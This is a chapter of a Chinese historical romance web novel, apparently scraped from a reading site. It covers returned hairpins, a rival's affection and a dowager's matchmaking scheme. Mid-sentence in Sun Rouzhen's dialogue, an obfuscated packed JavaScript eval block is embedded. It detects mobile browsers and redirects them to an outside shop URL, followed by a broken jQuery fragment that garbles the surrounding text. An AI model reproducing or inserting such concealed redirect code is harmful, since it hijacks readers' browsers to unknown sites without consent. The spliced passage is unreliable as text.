苏奈期轻咳一声,自古以来好啊,“自古以来,女娲造人,全天下的人都是女娲的血脉,女娲的丈夫伏羲,两人是一夫一妻,没有旁人。”
唐思辨张口还想说上几句三纲五常,圣人之言,但只要熟读诗书,通晓其中的道理,纵览几家之言,便知道朱子断章取义之处。
他道:“你是想我与你姐姐一生一世一双人?”
苏奈期脑海中瞬间划过几个念头,为何夫人会给丈夫纳妾,是因为接连生育会对女性寿命造成重大影响,并且因为避孕措施落后,同房就意味着怀孕,又因为打胎手法凶残,怀孕就意味着生产。
所以勋贵女性出嫁时娘家甚至会给姑爷准备侍寝的丫鬟,分宠某种意义上也是为了延长女性寿命。
这些念头忽地闪过,苏奈期只觉得脑中像针扎似的疼痛,恍惚了片刻,摇头道:“是我胡言乱语,搅扰了侯爷和姐夫,还请见谅。”
青朴搀扶住她的手,她轻揉着太阳穴离去。
苏奈期有些失魂落魄,与任知瑶见上一面,见她气色不错便起身告辞。
回到归意斋,苏奈期道:“青朴,我有些乏了,先去休息,晚膳也不必喊我。”
她躺上床沾枕就和昏迷了一样,人事不省。
醒来时屋内已然昏暗,并未点灯,苏奈期试探着穿上鞋,又在黑暗中摸索,青朴一般会将火折子放在蜡烛旁。
苏奈期记得桌前就有一盏蜡烛。
果然,苏奈期摸到了桌案,在桌面上找到了烛台和火折子,点燃后,幽暗被驱散几分。
她也就看到了桌上摆着的一套玉兰发簪还有贵妃塌上横躺着的任应琤。
他撑着脑袋看着她,不知看了多久。
烛火下两人眉眼缱绻,苏奈期护着烛火,移动脚步将室内的蜡烛一一点燃,问他:“你什么时候来的?”
任应琤似刚睡醒,声音有些沙哑,他道:“来了有一会儿了,见你在休息,就没有打扰,谁料你这贵妃榻如此舒适,我躺下便睡着了。”
任应琤起身接过她的烛台,“小心被烛泪烫到。”便自己去点灯。
苏奈期便坐下倒上两杯水,“那这簪子,你是何时取回来的?”
任应琤眼角眉梢都是得意,“我去阿姐那里要回来的,既然是你的东西,和阿姐讲清楚来龙去脉,她自然会还回来。”
“我也拿其他物什补偿她了。”任应琤点完灯,又将烛台拿回桌上,“你可还喜欢?”
苏奈期指腹轻轻拂过九只玉兰簪,又去妆奁将最后一根取来,十只簪子放在一起,便知是出自同一人。
任应琤点点头,“你的簪子齐了,十全十美。”
苏奈期热泪滚滚而下,“齐了,母亲的簪子……齐了。”
任应琤手足无措,他赶紧取出手帕擦拭苏奈期的泪水,“别哭,这是好事。”
“谢谢你。”苏奈期的道谢情真意切,她再次道:“谢谢你,任应琤。”
这么多年来,任应琤都盼着苏奈期的敞开心扉,如今真感受到这份炙热的情感,他竟有些不知所措。
眼睛牢牢盯着苏奈期,半晌才回道:“你要怎么谢我?”
苏奈期一怔,反应过来,“兄长帮我找齐了母亲的簪子,我曾献计助兄长升迁,也算扯平了。”
任应琤抬步靠近她,“扯平了?”
灯火下两人影子重叠纠缠,苏奈期眼眶中还有泪水在打转,头微微后仰远离任应琤,露出纤细的脖颈。
任应琤很想咬下去,以平心中忿忿之气,他道:“我们永远扯不平。”
门外,青朴敲门道:“小姐,你醒啦,奴婢下了一碗面,你今日都未吃东西,不如现在用些?”
任应琤注意到苏奈期唇色有些泛白,关切道:“今日游廊处你与唐思辨谈话时就有异色,可是身体不适?”
苏奈期睡醒之后脑中疼痛变减轻不少,她道:“无事,可能是最近有些累。”
她挪步离开任应琤,将门打开,“青朴,你来的正好,我饿了。”
苏奈期小口吃面,任应琤就在对面看着她,让她有些尴尬,只好道:“侯爷,夜深了,你快去歇息吧。”
任应琤道:“我看你吃完便走。”
话音未落,苏奈期便大口嗦面,霎时一碗面便见了底。
任应琤:……
他被赶出归意斋,看着关闭的大门无奈地摸摸鼻子。
*
林秀贞近日心情很是不妙,因为任知瑶与她说,任应琤开了库房拿了他自己的封赏来换那套玉兰簪。
只因为这套簪子是苏奈期母亲的遗物。
任知瑶说这事时只当个故事,丝毫未觉不对劲,还对母亲道:“我这个做姐姐果然不如妹妹得宠。”
林秀贞眉心一跳。
任应琤是从她肚子里爬出来的,她怎么可能看不破他的心思。
这时有人来报,说是恩远伯夫人来见。林秀贞知道这个恩远伯府,京中有名的破落户,这个孙夫人名唤孙柔珍,还是商贾的女儿,带着不菲的嫁妆进的恩远伯府。
全府上下都靠着这孙柔珍的娘家过日子,实在让人看不上。
孙柔珍也不受京中勋贵圈子待见,任知瑶婚礼能请她,也是看着恩远伯爵位的名头上。
林秀贞知道她巴结之意,听到她说来为自己解忧,做一回红娘,林秀贞心念一动,将人放了进来。
孙柔珍进门便带着十分笑意,对林秀贞行礼道:“见过老夫人。”
林秀贞让她坐于右手边,笑问道:“孙夫人怎么想起来我们侯府来了?”
孙氏眼神活泛,透着一股子精明,她道:“这不是听闻侯府还有一位小姐待嫁,便想毛遂自荐,为老夫人解忧来了。”
林秀贞笑容未变,“哦?此话何意?”
孙氏早在蛛丝马迹中找到了林秀贞不喜苏奈期的线索,神情了然自若,对林秀贞道:“苏小姐怎么也是姓苏又不是姓任,夫人怕是不好办呐。”
她一副理解林秀贞的模样,继续道:“找的人家太好,说夫人拿她攀高枝,不为她考虑。找的人家太差,又说夫人苛待恩人之女。”
林秀贞长叹口气,“你说的太对了,我也是不知如何是好呀。”
孙氏笑道:“老夫人若是信我,不如让我做一回红娘,为苏小姐牵线搭桥,找户门当户对的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615057|204827||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好人家。”
林秀贞道:“如此,便烦扰孙夫人了。”
“哪里话,哪里话,能帮上老夫人的忙,是我脸上有光。”孙氏惯会逢迎,又说了一些奉承之语,才起身告辞。
陈嬷嬷道:“夫人难道真要让这孙夫人替苏小姐找夫家?”
林秀贞浅啜一口茶,“苏奈期会乖乖听话?我说嫁什么人家就嫁什么人家?我不过是逼她一逼,迫她抉择罢了。”
“要么就等着做应琤的妾氏,要么就借此机会嫁出去。”
陈嬷嬷看向运筹帷幄的林秀贞,心中感慨,侯爷在外排兵布阵,夫人在内宅何尝不是智计过人?
苏奈期确实收到了这一信号,孙柔珍再次登门时,苏奈期直接去了林秀贞的主屋,“奈期见过老夫人,这位是?”
林秀贞让她坐到一旁,对她介绍道:“你来得正好,这位是恩远伯的孙夫人,她要为你牵个红线,你看看这些青年才俊,若是有入眼的,我便着人去打探他的品行。”
孙柔珍满脸堆笑,“这些男子都是我精挑细选过的,品行上肯定没有问题,这个太常寺卿吴大人,三品高官,年纪才刚三旬,前头那个福薄,前两年就去了,也没留个孩子,奈期嫁过去就是正头娘子,还无需抚养继子。”
“还有这忠义伯的嫡子常公子,与苏小姐年龄相仿,还未娶妻,家中管的严,在外头干干净净的,正是良配啊!这个大理寺主簿的周大人,年少有为,是贞佑十五年的二甲进士……”
孙柔珍将人一一介绍完,果然最好的就是前面三个,从身份上来说,苏奈期配他们还是高嫁。
旁人都挑不出什么错来。
吴大人年纪大,但是官位高,配在侯府寄人篱下的孤女绰绰有余,更别说忠义伯的嫡子,纵使是个纨绔子弟,也是苏奈期高攀。
而那个主簿周大人,若苏奈期没有高嫁之心,这个周大人亦是个好选择。
竟都是些不错的人选,苏奈期大为诧异,面上浅笑嫣然,让人看不出心思。
林秀贞和孙氏都含笑看着她,等着她的选择,苏奈期道:“奈期都挑花眼了,不若让我好好想想,自己想嫁的到底是怎样的人家。”
孙氏和林秀贞对视一眼,孙氏笑道:“是应该好好选选,那这些名录苏小姐好好看看,我先告辞了。”
林秀贞道:“多谢孙夫人了,为奈期这般操心,她选好了,我们就请你做媒人,将这亲事定下来。”
孙柔珍道:“好,那我就等着你们的好消息。”
她一走,林秀贞便直截了当问苏奈期,“你可是想好了,若定下亲事,你便是在侯府死了,尸首都会被送去夫家安葬。”
苏奈期绵里藏针道:“奈期知道老夫人厚爱奈期,但是女子总是会有离家的那天,我定是要挑人家成婚的。”
林秀贞道:“你想好便是了,这些人你好好看看,选好了便与我说。”
苏奈期接过那叠宣纸,行李告辞。
十月天岁渐寒,傍晚,她在归意斋桌案前看名单,身上披着一件薄披风,一页页翻过他们的介绍,有不速之客闯入,他径直来到苏奈期面前。
“你要嫁人?”